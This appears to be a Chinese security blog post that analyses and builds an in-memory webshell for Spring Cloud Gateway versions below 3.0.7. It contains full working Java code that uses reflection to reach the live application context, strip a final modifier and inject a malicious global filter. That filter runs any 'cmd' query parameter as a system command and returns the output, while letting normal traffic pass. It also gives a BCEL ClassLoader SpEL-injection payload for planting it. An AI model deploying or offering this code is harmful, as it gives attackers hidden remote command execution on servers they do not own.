0x01 前言
各位大佬久等了,由于这段时间各种琐事缠身,加上自己懒(主要是懒😂),学了很多东西都没有记下来,今天感觉无论如何都得写一写、记一记了,这次要分析的是Spirng Cloud Gateway内存马,相信很多大佬都已经分析过了,小弟斗胆再分析一下,希望大佬们不要介意,此分析仅作为学习笔记,请不要用于非法用途,如果拿去打未授权的站点,本人概不负责。
0x02 漏洞分析
01 Spring Cloud Gateway介绍
Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件。
Spring Cloud Gateway 是基于 WebFlux 框架实现的,而 WebFlux 框架底层则使用了高性能的 Reactor 模式通信框架 Netty,Spring Cloud GateWay 最主要的功能就是路由转发。
Spring Cloud Gateway的核心就是api网关,借用一张网图,可能比较好理解一点。
因为我们主要是对内存马进行分析,所以关于Spring Cloud Gateway可能讲的就没那么细,感兴趣的童鞋可以在最后的参考连接中去学习一下。
对于很多新人而言,首先我们得知道Spring Cloud Gateway是什么东西,以及如何使用,只有有了这些基础知识后,才能展开后续的内存马分析以及编写。
02 一个demo
首先我们需要创建一个maven项目,这个大家应该都懂,因为存在漏洞的的版本是在Spring Cloud Gateway < 3.0.7,所以我使用的是3.0.6方便后面漏洞复现,pom.xml文件如下,经供参考
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>spring_cloud_gateway</artifactId>
<version>1.0-SNAPSHOT</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<version>2.5.9</version>
</dependency>
</dependencies>
</project>
pom有了之后,我们就需要创建配置文件了,application.properties文件如下
server.port=9000
#management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
logging.level.org.springframework.http.server.reactive=debug
logging.level.org.springframework.cloud.gateway=debug
logging.level.org.springframework.web.reactive=debug
logging.level.org.springframework.boot.autoconfigure.web=debug
logging.level.reactor.netty=debug
logging.level.redisratelimiter=debug
最后就是启动类,这个也很简单
package com.demo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.gateway.route.RouteLocator;
import org.springframework.cloud.gateway.route.builder.RouteLocatorBuilder;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class MyApplication {
public static void main(String[] args) {
SpringApplication.run(MyApplication.class);
}
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder){
return builder.routes().
route("first",r->r.path("/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png").uri("https://www.baidu.com")).
build();
}
}
在启动类里我加了一个自己定义的路由转发规则,就是当程序启动时,我去访问本地的localhost:9000/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png 时,请求就会被转发到www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png上面,这就是spring cloud gateway的主要使用途径,路由转发。
我们先来启动测试一下,看看是不是那么回事。
可以看到转发到了百度的站点,到这里,demo也就完成了。
02 全局过滤器
Spring Cloud Gateway分为两个过滤器
GatewayFilter 网关过滤器
GatewayFilter 是 Spring Cloud Gateway 网关中提供的一种应用在单个或一组路由上的过滤器。它可以对单个路由或者一组路由上传入的请求和传出响应进行拦截,并实现一些与业务无关的功能,比如登陆状态校验、签名校验、权限校验、日志输出、流量监控等。
GlobalFilter 全局过滤器
GlobalFilter 是一种作用于所有的路由上的全局过滤器,通过它,我们可以实现一些统一化的业务功能,例如权限认证、IP 访问限制等。当某个请求被路由匹配时,那么所有的 GlobalFilter 会和该路由自身配置的 GatewayFilter 组合成一个过滤器链。
这里我们要研究的是GlobalFilter,这里的全局并非是所有web请求都拦截,可以看到我标注出来的内容,在后面的调试中就会明白是什么意思了。
03 debug调试
首先我们也是要写一个demo用作测试
package com.demo.filter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.cloud.gateway.filter.GlobalFilter;
import org.springframework.core.Ordered;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
@Component
public class MyGlobalFilter implements GlobalFilter, Ordered {
/*
* 全局过滤器方法,访问任何已定义路由时会触发
* */
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
try {
System.out.println("welcome globalFilter...");
} catch (Exception e) {
e.printStackTrace();
}
// return null;
return chain.filter(exchange);
}
/*
* 过滤器顺序,0表示第一个
* */
@Override
public int getOrder() {
return 0;
}
}
debug模式启动主程序,启动后随意访问一个uri,如图
可以看到并没有触发过滤器方法,这也就是我前面说的,全局并不是拦截所有web请求,只有特定请求才会被全局过滤器拦截,就好比我们自己定义的转发路由:/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png
我们来访问看一下会不会被拦截,如图
可以看到成功走到了我们定义的过滤方法。
有了这个概念之后,我们就可以开始接下来的调试了,在调试之前需要在几个重要的地方打上断点
org.springframework.cloud.gateway.handler.FilteringWebHandler.DefaultGatewayFilterChain#filter
再次访问之前的路由,可以看到进入到filter方法,如图
如果看过我前面内存马分析的童鞋应该记得我之前说过,挖内存马,首先要找他的过滤器链,因为过滤器肯定是链式执行的,而这个方法就是过滤器链的核心方法,for循环调用this.filters集合中的过滤器,我们核心目标就是将我们自定义的过滤器添加到这个集合当中去。
我们先来看一下filters集合中存放的是什么数据
可以看到集合中的元素最外层对象是 OrderedGatewayFilter 对象,然后往里面一层的是 GatewayFilterAdapter 对象,最后最里面就是我们自己定义的过滤器类,如果我们要构造的话应该反着来,就是要先创建自定义的全局过滤器。然后将其设置到 GatewayFilterAdapter 对象中 ,之后再将 GatewayFilterAdapter 对象设置到OrderedGatewayFilter 对象中,最后将OrderedGatewayFilter 对象添加到filters集合当中,至此我们自定义的过滤器才算添加成功。
但是有一个小问题需要解决,那就是filters集合我们是不能直接获取到的,我们看一下源码
filters成员变量是存在于 org.springframework.cloud.gateway.handler.FilteringWebHandler 内部类 org.springframework.cloud.gateway.handler.FilteringWebHandler.DefaultGatewayFilterChain 对象中的,所以我们得想办法为其赋值,通过查看源码发先 org.springframework.cloud.gateway.handler.FilteringWebHandler#handle 方法
经过测试,每次请求时都会调用handle方法,我们可以通过修改globalFilters成员变量的值,经过handle方法去为filters成员变量赋值,这也是一开始困惑我的地方,一开始我也在想怎么把自定义的过滤器放到filters集合中,如果反射的话,需要获取到该对象才能修改其值,但是在gateway环境中,无法直接获取 org.springframework.cloud.gateway.handler.FilteringWebHandler.DefaultGatewayFilterChain 对象,这个涉及到ioc,我等下会讲。所以这个方法就完美解决了我的问题,系统会自动调用,我们只需要把恶意对象存放进globalFilters集合中即可。
当然添加过程也不是那么一帆风顺,也花了一点时间研究,首先 ,我们最里层的自定义全局过滤器是挺好办的,自己写一个类实现GlobalFilter接口并且重写filter方法就可以了,这个没啥问题。但是GatewayFilterAdapter 对象该如何创建呢,我们来看一下源码
可以看到他是org.springframework.cloud.gateway.handler.FilteringWebHandler 对象中的内部类,而且还是静态私有的,私有的类是无法直接实例化的,一般童鞋可能会想到反射获取构造方法,也不是不可以,但是我们这里可以用更优雅的方式去帮我们实例化,回到 org.springframework.cloud.gateway.handler.FilteringWebHandler#loadFilters 方法,如图
可以看到在该方法中,先是将我们的类以集合的方式传入,然后实例化内部类 org.springframework.cloud.gateway.handler.FilteringWebHandler.GatewayFilterAdapter 并传入参数,周进行了判断,如果实现了Orderd接口,就取出顺序,然后实例化 org.springframework.cloud.gateway.filter.OrderedGatewayFilter 对象,这里的order指的是过滤器执行的顺序,0就表示第一个执行,以此类推。
在这个方法里完美的解决了我们前面分析的两个对象的问题,接下来要做的就是如何获取到 org.springframework.cloud.gateway.handler.FilteringWebHandler.DefaultGatewayFilterChain#filters 成员变量,并将我们的 OrderedGatewayFilter 对象添加进去,添加还是比较简单的集合的话 add 就可以添加进去了,重点是如何获取。
我们来分析一下,首先如果我们要获取到 filters 成员变量,那么必然要先获取到 org.springframework.cloud.gateway.handler.FilteringWebHandler 对象,这里为什么要用获取这两个字,因为如果我们自己创建一个 org.springframework.cloud.gateway.handler.FilteringWebHandler 对象的话,那么它里面是不会包含当前运行环境的过滤器的,相当于创建了一个新的对象,即使你修改了里面的值,也是不会被调用的。
那么我们有什么办法获取到当前环境中的 org.springframework.cloud.gateway.handler.FilteringWebHandler 对象呢?
这里就要涉及到spring的ioc机制了,spring一般在程序启动时,会将一些自带的类和添加了注解的类例如:@Component 这种添加到ioc容器中,下次要取得时候直接从ioc容器中取就可以,获取出来的和存放进去的时同一个对象,这么一分析,聪明的你们是不是已经知道该如何获取 org.springframework.cloud.gateway.handler.FilteringWebHandler 对象了呢,对的,没错,就是和你想的一样,我们要从ioc中去取,在springboot中获取到 AnnotationConfigServletWebServerApplicationContext 对象之后,就可以通过getBean方法从ioc容器中根据类名去取对应的对象了,但是在spring cloud gateway中,我们并不能获取到 AnnotationConfigServletWebServerApplicationContext 对象,因为获取该对象需要 org.apache.catalina.connector.Request 类,但是spring cloud gateway使用的是Netty,在Netty中是没有 org.apache.catalina.connector.Request 类的,所以我们只能另辟蹊径。
在这里我经过调试发现,在 java.lang.ThreadGroup 对象的成员变量 threads 中有我们想要的对象,那就是 AnnotationConfigReactiveWebServerApplicationContext 对象,他和 springboot中 AnnotationConfigServletWebServerApplicationContext 对象是一样的,都可以通过getBean方法从ioc容器中获取对象,我们进入到调试模式,然后 alt+f8 来看一下当前线程中的对象
不怕你有,就怕你没有,既然已经知道他是在server这个线程中,那我们编写响应代码去获取就是了。代码如下
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getObj("threads", threadGroup.getClass(), threadGroup);
for (Thread thread : threads) {
if(thread != null && thread.getName().contains("server")){
Object netty = getObj("this$0", thread.getClass(), thread);
Object handler = getObj("handler", netty.getClass(), netty);
Object httpHandler = getObj("httpHandler", handler.getClass(), handler);
Object delegate = getObj("delegate", httpHandler.getClass(), httpHandler);
AbstractApplicationContext applicationContext = (AbstractApplicationContext) getObj("applicationContext", delegate.getClass(), delegate);
}
}
public static Object getObj(String fn, Class<?> tc, Object ob){
try {
Field df = tc.getDeclaredField(fn);
df.setAccessible(true);
Object o = df.get(ob);
return o;
} catch (Exception e) {
Object o = getObj(fn, tc.getSuperclass(), ob);
return o;
}
}
代码其实也不难,就是自己写了个方法,然后通过反射取一层一层获取我们需要的对象,最终获取到 AnnotationConfigReactiveWebServerApplicationContext 对象。
获取到 AnnotationConfigReactiveWebServerApplicationContext 对象之后,就可以获取我们需要的 org.springframework.cloud.gateway.handler.FilteringWebHandler 对象了,是不是一环扣一环的感觉?
获取到 org.springframework.cloud.gateway.handler.FilteringWebHandler 之后就可以反射获取 filters 集合,然后将我们自定义的过滤器添加进去,完整代码如下
package com.demo.filter;
import org.springframework.cloud.gateway.filter.*;
import org.springframework.cloud.gateway.handler.FilteringWebHandler;
import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.core.Ordered;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
public class Demo2 implements GlobalFilter, Ordered {
static{
try {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getObj("threads", threadGroup.getClass(), threadGroup);
for (Thread thread : threads) {
if(thread != null && thread.getName().contains("server")){
Object netty = getObj("this$0", thread.getClass(), thread);
Object handler = getObj("handler", netty.getClass(), netty);
Object httpHandler = getObj("httpHandler", handler.getClass(), handler);
Object delegate = getObj("delegate", httpHandler.getClass(), httpHandler);
AbstractApplicationContext applicationContext = (AbstractApplicationContext) getObj("applicationContext", delegate.getClass(), delegate);
FilteringWebHandler fwebhandler = applicationContext.getBean(FilteringWebHandler.class);
Field globalFilters = fwebhandler.getClass().getDeclaredField("globalFilters");
globalFilters.setAccessible(true);
Field modifiers1 = Field.class.getDeclaredField("modifiers");
modifiers1.setAccessible(true);
modifiers1.set(globalFilters, globalFilters.getModifiers() & ~ Modifier.FINAL);
ArrayList objarr = (ArrayList) globalFilters.get(fwebhandler);
ArrayList list2 = new ArrayList();
list2.add(new Demo2());
Method loadFilters = fwebhandler.getClass().getDeclaredMethod("loadFilters", List.class);
loadFilters.setAccessible(true);
List<GatewayFilter> invoke = (List<GatewayFilter>) loadFilters.invoke(fwebhandler, list2);
for (GatewayFilter gatewayFilter : invoke) {
if(gatewayFilter != null){
// OrderedGatewayFilter orderedGatewayFilter = new OrderedGatewayFilter(gatewayFilter, 0);
OrderedGatewayFilter orderedGatewayFilter = (OrderedGatewayFilter) gatewayFilter;
objarr.add(0,orderedGatewayFilter);
System.out.println("success : " + orderedGatewayFilter);
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getObj(String fn, Class<?> tc, Object ob){
try {
Field df = tc.getDeclaredField(fn);
df.setAccessible(true);
Object o = df.get(ob);
return o;
} catch (Exception e) {
Object o = getObj(fn, tc.getSuperclass(), ob);
return o;
}
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
System.out.println("hello GlobalFilter...");
return null;
}
@Override
public int getOrder() {
return 0;
}
}
然后我们来调试一下,先是在 MyGlobalFilter 的filter方法中加上new Demo2(),这是为了模拟服务器运行过程中插入内存马的过程。
跟入构造方法
先是获取ThreadGroup对象,然后反射获取threads成员变量,判断线程名是否为server,是的话进入if判断,这个前面分析过,往下走
这里就是一层一层反射获取我们需要的对象,继续往下走
这里就是先从ioc容器中获取到 org.springframework.cloud.gateway.handler.FilteringWebHandler 对象,然后反射获取 globalFilters 成员变量,这里用到了一个小技巧,因为 globalFilters 成员变量是final修饰的,我们看一下
由于final修饰的值是不能更改的,所以我们必须通过反射的方式将final修饰符给他干掉,干掉之后,我们就可以修改这个变量的值了。
接着往下看
关键步骤我都做了标记,就是和我们前面分析的一样,讲恶意的全局过滤器添加到globalFilters集合中,最终同各国handle方法赋值给filters集合,等到下次我们访问指定路由的时候就会触发拦截,我们可以来测试一下。
04 实战运用
在实战中我们该如何运用好GlobalFilter内存马呢,其实也很简单,既然每次请求都会经过filter方法,那么我们只要在filter方法中执行命令并且回显结果,不就可以了吗,这里我用的是直接回显到body中,可以参考下我的代码
package com.demo.filter;
import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.cloud.gateway.filter.GlobalFilter;
import org.springframework.cloud.gateway.filter.OrderedGatewayFilter;
import org.springframework.cloud.gateway.handler.FilteringWebHandler;
import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.core.Ordered;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
public class Demo22 implements GlobalFilter, Ordered {
static{
try {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getObj("threads", threadGroup.getClass(), threadGroup);
for (Thread thread : threads) {
if(thread != null && thread.getName().contains("server")){
Object netty = getObj("this$0", thread.getClass(), thread);
Object handler = getObj("handler", netty.getClass(), netty);
Object httpHandler = getObj("httpHandler", handler.getClass(), handler);
Object delegate = getObj("delegate", httpHandler.getClass(), httpHandler);
AbstractApplicationContext applicationContext = (AbstractApplicationContext) getObj("applicationContext", delegate.getClass(), delegate);
FilteringWebHandler fwebhandler = applicationContext.getBean(FilteringWebHandler.class);
Field globalFilters = fwebhandler.getClass().getDeclaredField("globalFilters");
globalFilters.setAccessible(true);
Field modifiers1 = Field.class.getDeclaredField("modifiers");
modifiers1.setAccessible(true);
modifiers1.set(globalFilters, globalFilters.getModifiers() & ~ Modifier.FINAL);
ArrayList objarr = (ArrayList) globalFilters.get(fwebhandler);
ArrayList list2 = new ArrayList();
list2.add(new Demo22());
Method loadFilters = fwebhandler.getClass().getDeclaredMethod("loadFilters", List.class);
loadFilters.setAccessible(true);
List<GatewayFilter> invoke = (List<GatewayFilter>) loadFilters.invoke(fwebhandler, list2);
for (GatewayFilter gatewayFilter : invoke) {
if(gatewayFilter != null){
// OrderedGatewayFilter orderedGatewayFilter = new OrderedGatewayFilter(gatewayFilter, 0);
OrderedGatewayFilter orderedGatewayFilter = (OrderedGatewayFilter) gatewayFilter;
objarr.add(0,orderedGatewayFilter);
System.out.println("success : " + orderedGatewayFilter);
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getObj(String fn, Class<?> tc, Object ob){
try {
Field df = tc.getDeclaredField(fn);
df.setAccessible(true);
Object o = df.get(ob);
return o;
} catch (Exception e) {
Object o = getObj(fn, tc.getSuperclass(), ob);
return o;
}
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
try {
String cmd = exchange.getRequest().getQueryParams().getFirst("cmd");
if(null != cmd && !cmd.equals("")){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(inputStream));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null){
sb.append(line + "\r\n");
}
String data = sb.toString();
ServerHttpResponse httpResponse = exchange.getResponse();
DataBuffer buffer = httpResponse.bufferFactory().wrap(data.getBytes(StandardCharsets.UTF_8));
return httpResponse.writeWith(Mono.just(buffer));
} else {
return chain.filter(exchange);
}
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
@Override
public int getOrder() {
return 0;
}
}
当请求包含cmd参数时,就进入命令执行方法,执行命令并回显结果,但如果请求不包含 cmd参数时,就正常放行,不影响其他业务执行,效果图
然后随便提一下 spel表达式注入的问题,我使用的时becl加载类的方式插入内存马,但是这样 会有一个问题,就是如果直接加载Demo22这个类,会提示找不到相关类,就是当前的运行环境获取不到spring cloud gateway的类,后面通过调试发现因为直接使用becl加载类的话,使用的运行环境和目标服务器的运行环境不一样,导致获取不到对应的类,我的解决方案是,在类加载的时候再嵌套一个类加载,第二个类加载中获取当前线程的ClassLoader,然后去加载Demo22这个类,这样子就可以解决找不到类的问题,我的payload是这样的,仅供参考,请勿用于非法用途
(T(com.sun.org.apache.bcel.internal.util.ClassLoader).getSuperclass().getDeclaredMethod("loadClass", T(java.lang.String)).invoke(T(com.sun.org.apache.bcel.internal.util.ClassLoader).newInstance(),"$$BCEL$$......")).newInstance()
好了,到这里也就分析完了,可能还有更多新的玩法,等着你们去解锁,我们一起加油前进。
0x03 总结
从过滤器链到如何写入过滤器,这一部分知识似曾相识,知识总是共通的,最关键的在于要敢于尝试,勇于探索,才会发现更多新鲜好玩的技术。专心研究java技术的小菜。
0x04 参考文章
Gateway:Spring Cloud API网关组件(http://c.biancheng.net/springcloud/gateway.html)